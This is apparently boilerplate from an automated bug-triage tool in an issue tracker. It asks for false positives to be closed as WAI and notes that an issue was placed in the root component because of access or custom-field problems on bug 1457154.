Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.
Raised in root component due to access or custom field issues on 1457154